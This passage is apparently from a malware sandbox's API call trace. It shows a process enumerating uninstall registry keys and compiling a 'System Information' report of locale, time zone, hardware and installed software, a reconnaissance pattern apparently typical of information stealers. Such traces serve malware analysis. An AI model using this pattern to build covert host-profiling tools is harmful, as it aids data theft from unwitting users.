[0261.722] LocalFree (hMem=0x6bec00) returned 0x0 [0261.722] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.722] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x11, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.722] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.722] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.723] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.723] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508", lpcbData=0x24fac8*=0x7e) returned 0x0 [0261.723] LocalAlloc (uFlags=0x40, uBytes=0x20fc) returned 0x6f35b0 [0261.723] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="14.25.28508", lpcbData=0x24facc*=0x18) returned 0x0 [0261.723] StrStrW (lpFirst="Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508", lpSrch="14.25.28508") returned="14.25.28508" [0261.723] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n") returned 65 [0261.723] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n", lpSrch="\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n") returned 0x0 [0261.723] lstrlenW (lpString="\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n") returned 65 [0261.723] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n") returned 536 [0261.723] LocalAlloc (uFlags=0x40, uBytes=0x5b2) returned 0x690af8 [0261.724] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.724] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.725] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.725] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.725] LocalFree (hMem=0x6bec00) returned 0x0 [0261.725] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.725] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x12, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-002A-0000-1000-0000000FF1CE}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.725] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-002A-0000-1000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.726] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.726] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.726] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office 64-bit Components 2016", lpcbData=0x24fac8*=0x50) returned 0x0 [0261.726] LocalAlloc (uFlags=0x40, uBytes=0x20a0) returned 0x6f35b0 [0261.726] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.726] StrStrW (lpFirst="Microsoft Office 64-bit Components 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.726] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n") returned 56 [0261.726] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n", lpSrch="\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n") returned 0x0 [0261.726] lstrlenW (lpString="\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n") returned 56 [0261.726] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n") returned 601 [0261.726] LocalAlloc (uFlags=0x40, uBytes=0x622) returned 0x6bfc08 [0261.727] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.727] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.727] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.727] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.728] LocalFree (hMem=0x6bec00) returned 0x0 [0261.728] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.728] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x13, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-002A-0409-1000-0000000FF1CE}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.728] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-002A-0409-1000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.728] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.728] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.728] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office Shared 64-bit MUI (English) 2016", lpcbData=0x24fac8*=0x64) returned 0x0 [0261.728] LocalAlloc (uFlags=0x40, uBytes=0x20c8) returned 0x6f35b0 [0261.728] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.729] StrStrW (lpFirst="Microsoft Office Shared 64-bit MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.729] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n") returned 66 [0261.729] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.729] lstrlenW (lpString="\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n") returned 66 [0261.729] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n") returned 657 [0261.729] LocalAlloc (uFlags=0x40, uBytes=0x6a6) returned 0x690af8 [0261.729] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.730] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.730] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.730] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.730] LocalFree (hMem=0x6bec00) returned 0x0 [0261.730] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.731] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x14, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0116-0409-1000-0000000FF1CE}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.731] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0116-0409-1000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.731] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.731] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.731] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016", lpcbData=0x24fac8*=0x82) returned 0x0 [0261.731] LocalAlloc (uFlags=0x40, uBytes=0x2104) returned 0x6f35b0 [0261.731] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.731] StrStrW (lpFirst="Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.731] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 81 [0261.731] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.731] lstrlenW (lpString="\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 81 [0261.731] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n") returned 723 [0261.731] LocalAlloc (uFlags=0x40, uBytes=0x748) returned 0x6bfc08 [0261.732] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.732] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.733] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.733] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.733] LocalFree (hMem=0x6bec00) returned 0x0 [0261.733] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.733] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x15, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{929FBD26-9020-399B-9A7A-751D61F0B942}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.733] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{929FBD26-9020-399B-9A7A-751D61F0B942}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.733] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.733] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.733] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005", lpcbData=0x24fac8*=0x7c) returned 0x0 [0261.733] LocalAlloc (uFlags=0x40, uBytes=0x20f8) returned 0x6f35b0 [0261.733] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="12.0.21005", lpcbData=0x24facc*=0x16) returned 0x0 [0261.734] StrStrW (lpFirst="Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005", lpSrch="12.0.21005") returned="12.0.21005" [0261.734] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n") returned 64 [0261.734] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n") returned 0x0 [0261.734] lstrlenW (lpString="\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n") returned 64 [0261.734] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 804 [0261.734] LocalAlloc (uFlags=0x40, uBytes=0x7c8) returned 0x690af8 [0261.735] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.735] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.735] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.735] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.736] LocalFree (hMem=0x6bec00) returned 0x0 [0261.736] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.736] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x16, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.736] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.736] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.736] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.736] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft .NET Framework 4.8", lpcbData=0x24fac8*=0x3a) returned 0x0 [0261.736] LocalAlloc (uFlags=0x40, uBytes=0x2074) returned 0x6f35b0 [0261.736] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="4.8.03761", lpcbData=0x24facc*=0x14) returned 0x0 [0261.736] StrStrW (lpFirst="Microsoft .NET Framework 4.8", lpSrch="4.8.03761") returned 0x0 [0261.737] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft .NET Framework 4.8 4.8.03761\n") returned 40 [0261.737] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n", lpSrch="\x09Microsoft .NET Framework 4.8 4.8.03761\n") returned="\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n" [0261.737] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.738] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.738] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.738] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.738] LocalFree (hMem=0x6bec00) returned 0x0 [0261.738] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.738] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x17, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.739] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.739] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.739] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.739] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005", lpcbData=0x24fac8*=0x76) returned 0x0 [0261.739] LocalAlloc (uFlags=0x40, uBytes=0x20ec) returned 0x6f35b0 [0261.739] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="12.0.21005", lpcbData=0x24facc*=0x16) returned 0x0 [0261.739] StrStrW (lpFirst="Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005", lpSrch="12.0.21005") returned="12.0.21005" [0261.739] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n") returned 61 [0261.739] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n", lpSrch="\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n") returned 0x0 [0261.739] lstrlenW (lpString="\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n") returned 61 [0261.739] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 